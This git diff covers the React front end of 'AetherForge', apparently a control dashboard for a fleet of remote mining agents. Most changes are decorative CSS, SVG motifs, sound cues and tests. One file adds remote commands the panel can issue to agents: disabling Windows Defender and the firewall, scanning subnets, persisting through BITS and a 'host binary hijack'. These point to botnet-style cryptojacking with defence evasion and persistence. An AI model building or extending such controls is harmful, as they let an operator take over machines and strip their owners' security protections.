<circle cx="12" cy="19" r="1.5" fill="currentColor" />
</svg>
More
</button>
</nav>
</>
)}
</div>
);
}

View File

@@ -0,0 +1,182 @@
/* Mobile top bar + bottom nav (see Layout.tsx) */
.mobile-only {
display: none;
}
@media (max-width: 768px) {
.mobile-only {
display: flex;
}
.desktop-only {
display: none !important;
}
}
.mobile-top-bar {
display: none;
position: fixed;
top: 0;
left: 0;
right: 0;
z-index: 110;
align-items: center;
gap: 0.65rem;
padding: 0.5rem 0.75rem;
background: rgba(8, 6, 4, 0.96);
border-bottom: 1px solid var(--border-brass);
backdrop-filter: blur(12px);
}
.layout--mobile .mobile-top-bar {
display: flex;
}
.mobile-top-logo {
width: 36px;
height: 36px;
border-radius: 50%;
object-fit: contain;
}
.mobile-top-title {
font-family: var(--font-display);
font-size: 0.95rem;
font-weight: 700;
color: var(--brass-light);
letter-spacing: 0.04em;
}
.mobile-top-stats {
margin-left: auto;
font-family: var(--font-tech);
font-size: 0.65rem;
color: var(--neon-cyan);
letter-spacing: 0.06em;
text-align: right;
line-height: 1.35;
}
.mobile-top-stats span {
display: block;
color: var(--text-muted);
font-size: 0.55rem;
}
.layout--mobile .main-with-status {
padding-top: 52px;
}
.mobile-bottom-nav {
display: none;
position: fixed;
bottom: 0;
left: 0;
right: 0;
z-index: 110;
align-items: stretch;
justify-content: space-around;
gap: 0;
background: rgba(8, 6, 4, 0.98);
border-top: 1px solid var(--border-brass);
backdrop-filter: blur(16px);
box-shadow: 0 -4px 24px rgba(0, 0, 0, 0.45);
}
.layout--mobile .mobile-bottom-nav {
display: flex;
}
.mobile-bottom-nav-item {
flex: 1;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 0.15rem;
padding: 0.4rem 0.2rem;
min-height: 52px;
color: var(--text-muted);
text-decoration: none;
font-size: 0.55rem;
font-weight: 600;
letter-spacing: 0.03em;
border: none;
background: transparent;
cursor: pointer;
-webkit-tap-highlight-color: transparent;
}
.mobile-bottom-nav-item svg {
width: 1.25rem;
height: 1.25rem;
}
.mobile-bottom-nav-item.active,
.mobile-bottom-nav-item:hover {
color: var(--neon-cyan);
}
.mobile-bottom-nav-item.active {
background: rgba(0, 245, 255, 0.08);
}
.mobile-menu-backdrop {
position: fixed;
inset: 0;
z-index: 115;
background: rgba(0, 0, 0, 0.55);
backdrop-filter: blur(2px);
}
.mobile-more-sheet {
position: fixed;
left: 0;
right: 0;
bottom: calc(52px + env(safe-area-inset-bottom, 0px));
z-index: 120;
max-height: 55vh;
overflow-y: auto;
-webkit-overflow-scrolling: touch;
background: rgba(12, 10, 8, 0.98);
border-top: 1px solid var(--border-brass);
padding: 0.5rem;
display: flex;
flex-direction: column;
gap: 0.25rem;
transform: translateY(100%);
opacity: 0;
pointer-events: none;
transition: transform 0.25s ease, opacity 0.2s ease;
}
.mobile-more-sheet.open {
transform: translateY(0);
opacity: 1;
pointer-events: auto;
}
.mobile-more-link {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 0.85rem 1rem;
border-radius: 4px;
color: var(--text-secondary);
text-decoration: none;
font-size: 0.95rem;
font-weight: 600;
min-height: 48px;
}
.mobile-more-link.active {
background: rgba(0, 245, 255, 0.1);
color: var(--neon-cyan);
}
.mobile-more-link svg {
width: 1.35rem;
height: 1.35rem;
flex-shrink: 0;
}

View File

@@ -1,4 +1,5 @@
import { ReactNode, CSSProperties } from 'react';
import SacredCardWatermark from '../Visual/sacredGeometry/SacredCardWatermark';
import './NeonCard.css';
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
@@ -26,6 +27,7 @@ export default function NeonCard({
style={style}
>
<div className="neon-card-rim" />
<SacredCardWatermark accent={accent} />
{children}
</div>
);

View File

@@ -1,7 +1,10 @@
import { useEffect, useState, type ReactNode } from 'react';
import { getStoredAuth, setStoredAuth } from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [user, setUser] = useState('');
@@ -34,10 +37,12 @@ export default function SessionGate({ children }: { children: ReactNode }) {
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
if (!res.ok) {
setErr('Login failed — check username and password.');
play('error');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
play('success');
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
@@ -46,6 +51,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
if (!ready) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<p className="font-tech">Starting AetherForge</p>
</div>
);
@@ -54,6 +62,17 @@ export default function SessionGate({ children }: { children: ReactNode }) {
if (!authed) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl">
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} />
</div>
</div>
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
@@ -72,6 +91,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
</form>
</div>
);

View File

@@ -0,0 +1,73 @@
import { useEffect, useRef } from 'react';
import { useSound } from '../../context/SoundContext';
import { useWebSocket } from '../../hooks/useWebSocket';
import type { FleetAlert, WSMessage } from '../../types';
import type { WSCommandResult } from '../../types/ws';
const SHARE_MIN_MS = 2500;
const CMD_RESULT_MIN_MS = 600;
const SILENT_CMD_ACTIONS = new Set(['get_log', 'wg_status', 'mesh_status']);
/**
* Plays fleet/event cues from the shared dashboard WebSocket (not UI clicks).
*/
export default function SoundBridge() {
const { enabled, play } = useSound();
const { isConnected, latestMessage } = useWebSocket();
const wasConnected = useRef<boolean | null>(null);
const lastShareAt = useRef(0);
const lastCmdAt = useRef(0);
const lastMsgRef = useRef<WSMessage | null>(null);
useEffect(() => {
if (!enabled) return;
if (wasConnected.current === null) {
wasConnected.current = isConnected;
return;
}
if (wasConnected.current !== isConnected) {
play(isConnected ? 'connect' : 'disconnect');
wasConnected.current = isConnected;
}
}, [isConnected, enabled, play]);
useEffect(() => {
if (!enabled || !latestMessage || latestMessage === lastMsgRef.current) return;
lastMsgRef.current = latestMessage;
switch (latestMessage.type) {
case 'agent_online':
play('online');
break;
case 'agent_offline':
play('offline');
break;
case 'new_share': {
const now = Date.now();
if (now - lastShareAt.current >= SHARE_MIN_MS) {
lastShareAt.current = now;
play('share');
}
break;
}
case 'fleet_alert': {
const alert = latestMessage.payload as FleetAlert;
play(alert.level === 'error' ? 'alertCritical' : 'alert');
break;
}
case 'command_result': {
const p = latestMessage.payload as WSCommandResult;
if (p.action && SILENT_CMD_ACTIONS.has(p.action)) break;
const now = Date.now();
if (now - lastCmdAt.current < CMD_RESULT_MIN_MS) break;
lastCmdAt.current = now;
play(p.success ? 'success' : 'error');
break;
}
default:
break;
}
}, [latestMessage, enabled, play]);
return null;
}

View File

@@ -125,6 +125,7 @@ export default function CursorFire() {
return (
<canvas
ref={canvasRef}
className="cursor-fire-fx"
style={{
position: 'fixed',
inset: 0,

View File

@@ -364,6 +364,24 @@
color: var(--neon-green);
}
@media (max-width: 768px) {
.system-status-bar {
flex-wrap: nowrap;
overflow-x: auto;
-webkit-overflow-scrolling: touch;
scrollbar-width: none;
}
.system-status-bar::-webkit-scrollbar {
display: none;
}
.status-pill {
flex-shrink: 0;
white-space: nowrap;
}
}
@media (max-width: 640px) {
.compare-grid {
grid-template-columns: 1fr;

View File

@@ -73,12 +73,12 @@ interface ActivityPulseProps {
items: { id: string; label: string; ok: boolean; time?: string }[];
}
export function ActivityPulse({ items }: ActivityPulseProps) {
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
if (items.length === 0) {
return <p className="activity-empty font-tech">Awaiting fleet activity</p>;
}
return (
<div className="activity-pulse">
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
{items.slice(0, 12).map((item) => (
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
<span className="activity-blip-core" />

View File

@@ -0,0 +1,29 @@
import { SacredMotif, type MotifName } from './motifs';
const ACCENT_MOTIFS: Record<string, [MotifName, MotifName]> = {
cyan: ['hex', 'seed'],
magenta: ['vesica', 'yantra'],
amber: ['spiral', 'key'],
green: ['seed', 'hex'],
purple: ['metatron', 'torus'],
brass: ['flower', 'key'],
gold: ['yantra', 'spiral'],
};
/** Corner watermarks inside neon cards */
export default function SacredCardWatermark({ accent = 'brass' }: { accent?: string }) {
const [tl, br] = ACCENT_MOTIFS[accent] ?? ACCENT_MOTIFS.brass;
return (
<>
<div className="neon-card-sacred neon-card-sacred--tl" aria-hidden>
<SacredMotif name={tl} opacity={0.5} />
</div>
<div className="neon-card-sacred neon-card-sacred--tr" aria-hidden>
<SacredMotif name="seed" opacity={0.35} />
</div>
<div className="neon-card-sacred neon-card-sacred--br" aria-hidden>
<SacredMotif name={br} opacity={0.45} />
</div>
</>
);
}

View File

@@ -0,0 +1,17 @@
/* Layer-specific overrides (shared tokens in sacred-geometry.css) */
.sacred-layer__corner--mid-l {
transform: translateY(-50%);
}
.sacred-layer__corner--mid-r {
transform: translateY(-50%);
}
.sacred-layer__corner--mid-l svg,
.sacred-layer__corner--mid-r svg {
animation: sacred-geo-rotate 220s linear infinite;
}
.sacred-layer__corner--mid-r svg {
animation-direction: reverse;
}

View File

@@ -0,0 +1,50 @@
import { SacredMotif } from './motifs';
import './SacredGeometryLayer.css';
/** Viewport-wide sacred geometry — corners, keys, wisdom rail */
export default function SacredGeometryLayer() {
return (
<div className="sacred-layer" aria-hidden>
<div className="sacred-layer__corner sacred-layer__corner--tl">
<SacredMotif name="metatron" opacity={0.55} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--tr">
<SacredMotif name="yantra" opacity={0.5} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--bl">
<SacredMotif name="spiral" opacity={0.5} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--br">
<SacredMotif name="key" opacity={0.55} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--mid-l">
<SacredMotif name="vesica" opacity={0.45} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--mid-r">
<SacredMotif name="torus" opacity={0.45} />
</div>
<div className="sacred-layer__keys">
<span className="sacred-key sacred-key--1" title="Shell index">
</span>
<span className="sacred-key sacred-key--2" title="Ley ledger">
</span>
<span className="sacred-key sacred-key--3" title="Root chord">
</span>
<span className="sacred-key sacred-key--4" title="Archive gate">
ψ
</span>
</div>
<div className="sacred-layer__wisdom-rail font-tech" title="Whispers from the deck">
<span>Ω</span>
<span></span>
<span></span>
<span></span>
</div>
</div>
);
}

View File

@@ -0,0 +1,20 @@
import type { ReactNode } from 'react';
import { SacredMotif } from './motifs';
/** Optional sacred divider + motif beside page titles */
export default function SacredPageHeader({
children,
className = '',
}: {
children: ReactNode;
className?: string;
}) {
return (
<header className={`page-header page-header--sacred ${className}`.trim()}>
{children}
<div className="page-header-sacred-motif" aria-hidden>
<SacredMotif name="hex" opacity={0.55} />
</div>
</header>
);
}

View File

@@ -0,0 +1,292 @@
/** Reusable sacred-geometry SVG motifs — decorative only (aria-hidden at call sites). */
type MotifProps = {
className?: string;
stroke?: string;
opacity?: number;
};
const DEFAULT_STROKE = '#c9a227';
export function FlowerOfLifeWatermark({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
const cx = 50;
const cy = 50;
const R = 32;
const petalAngles = [0, 60, 120, 180, 240, 300];
const petals = petalAngles.map((deg) => {
const rad = (deg * Math.PI) / 180;
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
});
const starR = R * 1.15;
const starPts = Array.from({ length: 5 }, (_, i) => {
const rad = ((i * 72 - 90) * Math.PI) / 180;
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
});
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
const triR = R * 0.7;
const triUp = [0, 120, 240]
.map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
})
.join(' ');
const triDown = [60, 180, 300]
.map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
})
.join(' ');
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity}>
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="1.2 1.8" />
<circle cx={cx} cy={cy} r={R} fill="none" stroke={stroke} strokeWidth="0.22" />
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="0.6 1.2" />
{petals.map((p, i) => (
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke={stroke} strokeWidth="0.16" opacity="0.7" />
))}
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
<polygon points={triUp} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
<polygon points={triDown} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
<circle cx={cx} cy={cy} r="0.6" fill={stroke} opacity="0.9" />
{starPts.map((p, i) => (
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke={stroke} strokeWidth="0.1" opacity="0.35" />
))}
</g>
</svg>
);
}
export function SeedOfLife({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 14;
const centers = [{ x: cx, y: cy }];
for (let i = 0; i < 6; i++) {
const a = (i * 60 * Math.PI) / 180;
centers.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
}
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity}>
<circle cx={cx} cy={cy} r={r * 2.2} fill="none" stroke={stroke} strokeWidth="0.2" strokeDasharray="0.8 1.4" />
{centers.map((c, i) => (
<circle key={i} cx={c.x} cy={c.y} r={r} fill="none" stroke={stroke} strokeWidth="0.18" />
))}
</g>
</svg>
);
}
export function MetatronCube({ className = '', stroke = DEFAULT_STROKE, opacity = 0.45 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 28;
const pts: { x: number; y: number }[] = [];
for (let i = 0; i < 6; i++) {
const a = ((i * 60 - 90) * Math.PI) / 180;
pts.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
}
const inner = r * 0.55;
const innerPts: { x: number; y: number }[] = [];
for (let i = 0; i < 6; i++) {
const a = ((i * 60 - 90) * Math.PI) / 180;
innerPts.push({ x: cx + inner * Math.cos(a), y: cy + inner * Math.sin(a) });
}
const lines: [number, number][] = [];
for (let i = 0; i < pts.length; i++) {
for (let j = i + 1; j < pts.length; j++) lines.push([i, j]);
}
for (let i = 0; i < innerPts.length; i++) {
for (let j = i + 1; j < innerPts.length; j++) lines.push([i + 6, j + 6]);
}
pts.forEach((_, i) => lines.push([i, i + 6]));
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} stroke={stroke} strokeWidth="0.14" fill="none">
<circle cx={cx} cy={cy} r={r * 1.05} strokeWidth="0.16" />
<circle cx={cx} cy={cy} r={inner} strokeDasharray="0.5 1" />
{lines.map(([a, b], i) => {
const p1 = a < 6 ? pts[a] : innerPts[a - 6];
const p2 = b < 6 ? pts[b] : innerPts[b - 6];
return <line key={i} x1={p1.x} y1={p1.y} x2={p2.x} y2={p2.y} opacity="0.5" />;
})}
{[...pts, ...innerPts].map((p, i) => (
<circle key={`d${i}`} cx={p.x} cy={p.y} r="0.5" fill={stroke} stroke="none" />
))}
</g>
</svg>
);
}
export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 22;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke}>
<circle cx={cx - r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
<path
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
stroke="#00f5ff"
strokeWidth="0.16"
opacity="0.6"
/>
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
</g>
</svg>
);
}
export function HexLattice({ className = '', stroke = DEFAULT_STROKE, opacity = 0.35 }: MotifProps) {
const hex = (cx: number, cy: number, s: number) => {
const pts = Array.from({ length: 6 }, (_, i) => {
const a = ((60 * i - 30) * Math.PI) / 180;
return `${cx + s * Math.cos(a)},${cy + s * Math.sin(a)}`;
}).join(' ');
return <polygon key={`${cx}-${cy}`} points={pts} />;
};
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.12">
{hex(50, 50, 18)}
{hex(50, 32, 10)}
{hex(50, 68, 10)}
{hex(34, 41, 10)}
{hex(66, 41, 10)}
{hex(34, 59, 10)}
{hex(66, 59, 10)}
</g>
</svg>
);
}
export function GoldenSpiral({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
const cx = 18;
const cy = 82;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.18">
<rect x="18" y="18" width="64" height="64" strokeDasharray="1 2" opacity="0.35" />
<path
d="M 18 82 A 64 64 0 0 1 82 18 A 40 40 0 0 1 58 42 A 24 24 0 0 1 42 58 A 14 14 0 0 1 50 50"
stroke="#ffb020"
/>
<circle cx={cx} cy={cy} r="1" fill={stroke} />
</g>
</svg>
);
}
export function TorusRings({ className = '', stroke = DEFAULT_STROKE, opacity = 0.42 }: MotifProps) {
const cx = 50;
const cy = 50;
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke}>
{[34, 26, 18, 10].map((r, i) => (
<ellipse
key={r}
cx={cx}
cy={cy}
rx={r}
ry={r * (0.55 + i * 0.08)}
strokeWidth="0.16"
transform={`rotate(${i * 12} ${cx} ${cy})`}
/>
))}
<circle cx={cx} cy={cy} r="2" fill={stroke} opacity="0.8" />
</g>
</svg>
);
}
/** Whimsical “key to knowledge” — geometric bow + shaft */
export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
<polygon
points="38,22 46,30 38,38 30,30"
strokeWidth="0.2"
fill="rgba(201,162,39,0.08)"
/>
<line x1="50" y1="50" x2="88" y2="88" strokeWidth="0.35" />
<rect x="72" y="72" width="8" height="8" strokeWidth="0.22" transform="rotate(45 76 76)" />
<rect x="80" y="64" width="6" height="6" strokeWidth="0.2" transform="rotate(45 83 67)" />
<path d="M 62 62 L 68 56 M 70 70 L 76 64" strokeWidth="0.18" opacity="0.7" />
</g>
</svg>
);
}
export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
const cx = 50;
const cy = 52;
const tri = (r: number, flip: boolean) => {
const pts = [0, 120, 240].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
const y = (flip ? -1 : 1) * r * Math.sin(rad);
return `${cx + r * Math.cos(rad)},${cy + y}`;
});
return pts.join(' ');
};
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.16">
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
<polygon points={tri(32, false)} />
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
</g>
</svg>
);
}
export type MotifName =
| 'flower'
| 'seed'
| 'metatron'
| 'vesica'
| 'hex'
| 'spiral'
| 'torus'
| 'key'
| 'yantra';
export function SacredMotif({
name,
className = '',
stroke,
opacity,
}: MotifProps & { name: MotifName }) {
const props = { className, stroke, opacity };
switch (name) {
case 'seed':
return <SeedOfLife {...props} />;
case 'metatron':
return <MetatronCube {...props} />;
case 'vesica':
return <VesicaPiscis {...props} />;
case 'hex':
return <HexLattice {...props} />;
case 'spiral':
return <GoldenSpiral {...props} />;
case 'torus':
return <TorusRings {...props} />;
case 'key':
return <KnowledgeKey {...props} />;
case 'yantra':
return <SriYantraLite {...props} />;
case 'flower':
default:
return <FlowerOfLifeWatermark {...props} />;
}
}

View File

@@ -13,6 +13,7 @@ import { downloadApiFile, downloadAuthedFile } from '../api/download';
import { getStoredAuth } from '../api/auth';
import { useWebSocket } from '../hooks/useWebSocket';
import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
import { generateSampleSeries, validateChartSeries } from '../help/chartSampleData';
import NeonCard from './NeonCard/NeonCard';
import { HelpTip, FieldHint } from './HelpTip';
@@ -316,7 +317,23 @@ describe('HashrateChart', () => {
it('shows empty state when data is empty', () => {
render(<HashrateChart data={[]} title="Fleet Hash" />);
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
expect(screen.getByText(/Awaiting signal from fleet/i)).toBeInTheDocument();
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
});
it('renders chart with validated sample series', () => {
const sample = generateSampleSeries('hashrate', 24);
expect(validateChartSeries(sample).ok).toBe(true);
render(
<HashrateChart
data={sample}
displayMode="sample"
title="Fleet Hash"
color="#00f5ff"
unit="H/s"
/>
);
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
});
it('renders chart with data points', () => {
@@ -728,6 +745,8 @@ describe('AmbientBackground', () => {
const { container } = render(<AmbientBackground />);
expect(container.querySelector('.ambient-bg')).toBeTruthy();
expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
expect(container.querySelector('.ambient-geo-hex-veil')).toBeTruthy();
expect(container.querySelectorAll('.ambient-geo-corner').length).toBeGreaterThanOrEqual(2);
});
});

View File

@@ -0,0 +1,92 @@
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
import { hapticEngine, loadSoundEnabled, loadSoundVolume, type SoundCue } from '../audio/hapticEngine';
type SoundContextValue = {
enabled: boolean;
volume: number;
setEnabled: (v: boolean) => void;
setVolume: (v: number) => void;
play: (cue: SoundCue) => void;
preview: (cue?: SoundCue) => void;
};
const SoundContext = createContext<SoundContextValue | null>(null);
export function SoundProvider({ children }: { children: React.ReactNode }) {
const [enabled, setEnabledState] = useState(loadSoundEnabled);
const [volume, setVolumeState] = useState(loadSoundVolume);
const setEnabled = useCallback((v: boolean) => {
hapticEngine.setEnabled(v);
setEnabledState(v);
}, []);
const setVolume = useCallback((v: number) => {
hapticEngine.setVolume(v);
setVolumeState(hapticEngine.getVolume());
}, []);
const play = useCallback((cue: SoundCue) => {
hapticEngine.play(cue);
}, []);
const preview = useCallback((cue: SoundCue = 'click') => {
hapticEngine.unlock();
hapticEngine.play(cue);
}, []);
useEffect(() => {
hapticEngine.setEnabled(enabled);
hapticEngine.setVolume(volume);
}, [enabled, volume]);
useEffect(() => {
const unlock = () => hapticEngine.unlock();
window.addEventListener('pointerdown', unlock, { once: true, passive: true });
window.addEventListener('keydown', unlock, { once: true });
return () => {
window.removeEventListener('pointerdown', unlock);
window.removeEventListener('keydown', unlock);
};
}, []);
useEffect(() => {
const onClick = (e: MouseEvent) => {
if (!hapticEngine.isEnabled()) return;
const target = e.target as HTMLElement | null;
if (!target) return;
if (target.closest('[data-sfx="off"]')) return;
const interactive = target.closest(
'button:not(:disabled), .btn:not(:disabled), [role="button"]:not([aria-disabled="true"]), .nav-link, .mobile-nav__link, .mobile-nav__more-btn'
);
if (!interactive) return;
const isNav =
interactive.classList.contains('nav-link') ||
!!interactive.closest('.layout-nav, .mobile-nav');
hapticEngine.play(isNav ? 'nav' : 'click');
};
document.addEventListener('click', onClick, true);
return () => document.removeEventListener('click', onClick, true);
}, [enabled]);
const value = useMemo(
() => ({ enabled, volume, setEnabled, setVolume, play, preview }),
[enabled, volume, setEnabled, setVolume, play, preview]
);
return <SoundContext.Provider value={value}>{children}</SoundContext.Provider>;
}
const noopSound: SoundContextValue = {
enabled: false,
volume: 0,
setEnabled: () => {},
setVolume: () => {},
play: () => {},
preview: () => {},
};
export function useSound() {
const ctx = useContext(SoundContext);
return ctx ?? noopSound;
}

View File

@@ -0,0 +1,53 @@
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
import {
dispatchVisualPrefsChange,
loadGlowParticlesEnabled,
saveGlowParticlesEnabled,
VISUAL_PREFS_EVENT,
} from '../visual/visualPrefs';
type VisualEffectsContextValue = {
glowParticles: boolean;
setGlowParticles: (v: boolean) => void;
};
const VisualEffectsContext = createContext<VisualEffectsContextValue | null>(null);
export function VisualEffectsProvider({ children }: { children: React.ReactNode }) {
const [glowParticles, setGlowState] = useState(loadGlowParticlesEnabled);
const setGlowParticles = useCallback((v: boolean) => {
saveGlowParticlesEnabled(v);
setGlowState(v);
dispatchVisualPrefsChange();
}, []);
useEffect(() => {
const sync = () => setGlowState(loadGlowParticlesEnabled());
window.addEventListener(VISUAL_PREFS_EVENT, sync);
return () => window.removeEventListener(VISUAL_PREFS_EVENT, sync);
}, []);
const value = useMemo(
() => ({ glowParticles, setGlowParticles }),
[glowParticles, setGlowParticles]
);
return (
<VisualEffectsContext.Provider value={value}>{children}</VisualEffectsContext.Provider>
);
}
export function useVisualEffects(): VisualEffectsContextValue {
const ctx = useContext(VisualEffectsContext);
if (!ctx) {
return {
glowParticles: loadGlowParticlesEnabled(),
setGlowParticles: (v) => {
saveGlowParticlesEnabled(v);
dispatchVisualPrefsChange();
},
};
}
return ctx;
}

View File

@@ -10,6 +10,12 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
'mesh_status',
] as const;
@@ -21,6 +27,12 @@ export function canRunAggressiveAction(
platform?: string
): boolean {
if (platform === 'darwin' && action === 'defender_off') return false;
if (
platform !== 'windows' &&
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
) {
return false;
}
if (!caps) return true;
switch (action) {
case 'hole_punch':
@@ -33,6 +45,12 @@ export function canRunAggressiveAction(
case 'subnet_scan':
case 'defender_off':
case 'firewall_punch':
case 'firewall_off':
case 'firewall_on':
case 'firewall_profiles':
case 'firewall_remove':
case 'bits_persist':
case 'host_binary_persist':
return caps.remote_aggressive;
case 'mesh_status':
return caps.mesh_p2p;
@@ -49,6 +67,15 @@ export function aggressiveActionHint(
if (platform === 'darwin' && action === 'defender_off') {
return 'Defender disable not supported on macOS';
}
if (platform !== 'windows' && action.startsWith('firewall_')) {
return 'Firewall control is Windows-only';
}
if (platform !== 'windows' && action === 'bits_persist') {
return 'BITS persistence is Windows-only';
}
if (platform !== 'windows' && action === 'host_binary_persist') {
return 'Host binary hijack is Windows-only';
}
if (canRunAggressiveAction(action, caps, platform)) return undefined;
switch (action) {
case 'hole_punch':

View File

@@ -0,0 +1,63 @@
import { describe, expect, it } from 'vitest';
import {
generateSampleSeries,
validateChartSeries,
resolveChartSeries,
chartSeriesDelta,
chartSeriesPeak,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from './chartSampleData';
describe('chartSampleData', () => {
const kinds = ['hashrate', 'accept', 'cpu', 'mem', 'gpu'] as const;
it.each(kinds)('generateSampleSeries(%s) validates', (kind) => {
const series = generateSampleSeries(kind, 48);
expect(series).toHaveLength(48);
const v = validateChartSeries(series);
expect(v.ok, v.errors.join('; ')).toBe(true);
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
});
it('hashrate sample trends upward (mining ramp)', () => {
const series = generateSampleSeries('hashrate', 48);
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
});
it('accept sample stays in realistic pool band', () => {
const series = generateSampleSeries('accept', 48);
for (const p of series) {
expect(p.value).toBeGreaterThanOrEqual(90);
expect(p.value).toBeLessThanOrEqual(100);
}
});
it('resolveChartSeries uses sample when live is empty', () => {
const { data, mode } = resolveChartSeries([], 'hashrate');
